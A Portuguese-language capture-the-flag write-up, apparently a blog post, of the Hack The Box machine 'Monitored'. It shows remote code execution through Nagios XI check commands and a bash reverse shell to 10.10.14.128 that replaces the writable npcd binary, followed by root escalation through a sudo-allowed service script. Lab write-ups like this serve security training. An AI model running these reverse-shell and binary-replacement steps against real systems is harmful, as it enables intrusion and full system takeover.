└─# pwncat-cs -lp 9001
[13:45:22] Welcome to pwncat 🐈!
Enter fullscreen mode Exit fullscreen mode

Precisamos partir para a execução dos comandos, iremos na coluna a direita iremos em Monitoring -> Hosts:

Hosts

Iremos clicar em localhost. Aqui temos diversas configurações para o host, onde nesse caso é nosso alvo. Na aba Check Command iremos buscar nossos comandos revshell-download e revshell-download.

Host management options

Primeiro iremos executar o download do arquivo, para isso iremos clicar em Run Check Command, que irá abrir uma opção e iremos clicar novamente em Run Check Command, que executará nosso comando:

Run Check Command

Confirmamos o RCE em nosso servidor http que recebeu a requisição:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.130.92 - - [17/Jan/2024 14:05:46] "GET /rev.sh HTTP/1.1" 200 -
Enter fullscreen mode Exit fullscreen mode

Com o arquivo em nosso alvo, agora iremos executar nosso comando revshell-exec.
E temos o seguinte retorno no pwncat:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# pwncat-cs -lp 9001
[13:45:22] Welcome to pwncat 🐈!                            __main__.py:164
[14:09:50] received connection from 10.129.130.92:37844     bind.py:84
[14:09:53] 0.0.0.0:9001: normalizing shell path             manager.py:957
[14:09:57] 10.129.130.92:37844: registered new host w/ db   manager.py:957
(local) pwncat$
Enter fullscreen mode Exit fullscreen mode

Conseguimos um shell em nosso alvo com o usuário nagios. Com isso conseguimos a user flag:

(local) pwncat$                                       
(remote) nagios@monitored:/home/nagios$ ls -alh
total 24K
drwxr-xr-x 4 nagios nagios 4.0K Jan 17 13:07 .
drwxr-xr-x 4 root   root   4.0K Nov  9 10:38 ..
lrwxrwxrwx 1 root   root      9 Nov 11 10:57 .bash_history -> /dev/null
-rw-r--r-- 1 nagios nagios  131 Jan 17 13:07 cookie.txt
drwxr-xr-x 3 nagios nagios 4.0K Nov 10 14:25 .local
drwx------ 2 nagios nagios 4.0K Dec  7 03:18 .ssh
-rw-r----- 1 root   nagios   33 Jan 17 13:02 user.txt
(remote) nagios@monitored:/home/nagios$ cat user.txt 
059547ca5b222c5d654b3d3947538967
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation e Root flag

Iniciando um recon do nosso alvo encontramos os seguintes comandos que o usuários nagios pode executar com permissões de root e sem necessidade de utilizar senha:

(remote) nagios@monitored:/home/nagios$ sudo -l
Matching Defaults entries for nagios on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nagios may run the following commands on localhost:
    (root) NOPASSWD: /etc/init.d/nagios start
    (root) NOPASSWD: /etc/init.d/nagios stop
    (root) NOPASSWD: /etc/init.d/nagios restart
    (root) NOPASSWD: /etc/init.d/nagios reload
    (root) NOPASSWD: /etc/init.d/nagios status
    (root) NOPASSWD: /etc/init.d/nagios checkconfig
    (root) NOPASSWD: /etc/init.d/npcd start
    (root) NOPASSWD: /etc/init.d/npcd stop
    (root) NOPASSWD: /etc/init.d/npcd restart
    (root) NOPASSWD: /etc/init.d/npcd reload
    (root) NOPASSWD: /etc/init.d/npcd status
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
Enter fullscreen mode Exit fullscreen mode

Os arquivos listados que estão no diretório /etc/init.d/ não existem e como usuário nagios não temos permissão para criar. Os demais scripts podemos executar, mas não altera-los.

Visando uma enumeração do ambiente por completo iremos executar o script linpeas, que irá automatizar o procedimento.

Basta realizar o upload, dar permissão de execução e executar. O linpeas é um shell script.

Analisando a saída do arquivo temos uma parte que é interessante:

╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#services                                                                        
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios                  
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
/etc/systemd/system/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
You can't write on systemd PATH
Enter fullscreen mode Exit fullscreen mode

Os dois arquivos contidos em /etc/systemd/system/multi-user.target.wants/ são arquivos utilizados pelo systemd para administrar programas, eles são responsáveis pelos parâmetros de execução, neste caso do nagios e do npcd.
No caso da saída acima vemos que ambos apontam para binários que nosso usuário tem permissão de escrita, no entanto nosso usuário nagios não tem permissão para reiniciar, parar ou iniciar programas através do systemctl:

(remote) nagios@monitored:/home/nagios$ systemctl restart nagios
Failed to restart nagios.service: Access denied
See system logs and 'systemctl status nagios.service' for details.
Enter fullscreen mode Exit fullscreen mode

Porém entre os scripts listados no sudo -l que nosso usuário pode executar com permissões de root consta o seguinte:

(remote) nagios@monitored:/home/nagios$ sudo /usr/local/nagiosxi/scripts/manage_services.sh
First parameter must be one of: start stop restart status reload checkconfig enable disable
Enter fullscreen mode Exit fullscreen mode

Este por sua vez serve para gerenciar serviços, seja start, stop, reload e etc.
Analisando o script vemos que conseguimos através do mesmo reiniciar controlar a execução tanto do nagios quando do npcd e outros:

(remote) nagios@monitored:/home/nagios$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart
Second parameter must be one of: postgresql httpd mysqld nagios ndo2db npcd snmptt ntpd crond shellinaboxd snmptrapd php-fpm
Enter fullscreen mode Exit fullscreen mode

Podemos substituir um destes binários por um script que executará como root, este script pode ser um reverse shell por exemplo:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9002 0>&1
Enter fullscreen mode Exit fullscreen mode

Como ja estamos utilizando a porta 9001, para este outro reverse shell iremos utilizar a porta 9002. Após criar o arquivo iremos dar permissão de execução e substituir o atual arquivo npcd:

(remote) nagios@monitored:/home/nagios$ vi npcd
(remote) nagios@monitored:/home/nagios$ chmod +x npcd 
(remote) nagios@monitored:/home/nagios$ mv /usr/local/nagios/bin/npcd{,.bak}
(remote) nagios@monitored:/home/nagios$ cp npcd /usr/local/nagios/bin/
(remote) nagios@monitored:/home/nagios$ cat /usr/local/nagios/bin/npcd
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9002 0>&1
Enter fullscreen mode Exit fullscreen mode

Agora em outra aba do terminal iremos utilizar novamente o pwncat para ouvir na porta 9002:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# pwncat-cs -lp 9002         
[14:27:31] Welcome to pwncat 🐈!
Enter fullscreen mode Exit fullscreen mode

E executar o script manage_services.sh:

(remote) nagios@monitored:/home/nagios$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd
(remote) nagios@monitored:/home/nagios$ 
Enter fullscreen mode Exit fullscreen mode

Com isso temos o seguinte retorno no novo pwncat como usuário root, conseguindo assim a root flag:

(local) pwncat$                                                                                                              
(remote) root@monitored:/# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@monitored:/# ls -a /root/
.  ..  .bash_history  .bashrc  .cache  .config  .cpan  .gnupg  .local  .profile  root.txt  .ssh
(remote) root@monitored:/# cat /root/root.txt 
01afe731595a5fed86f858423165f80e
Enter fullscreen mode Exit fullscreen mode

Finalizando assim a máquina Monitored!

Pwned machine!

Top comments (0)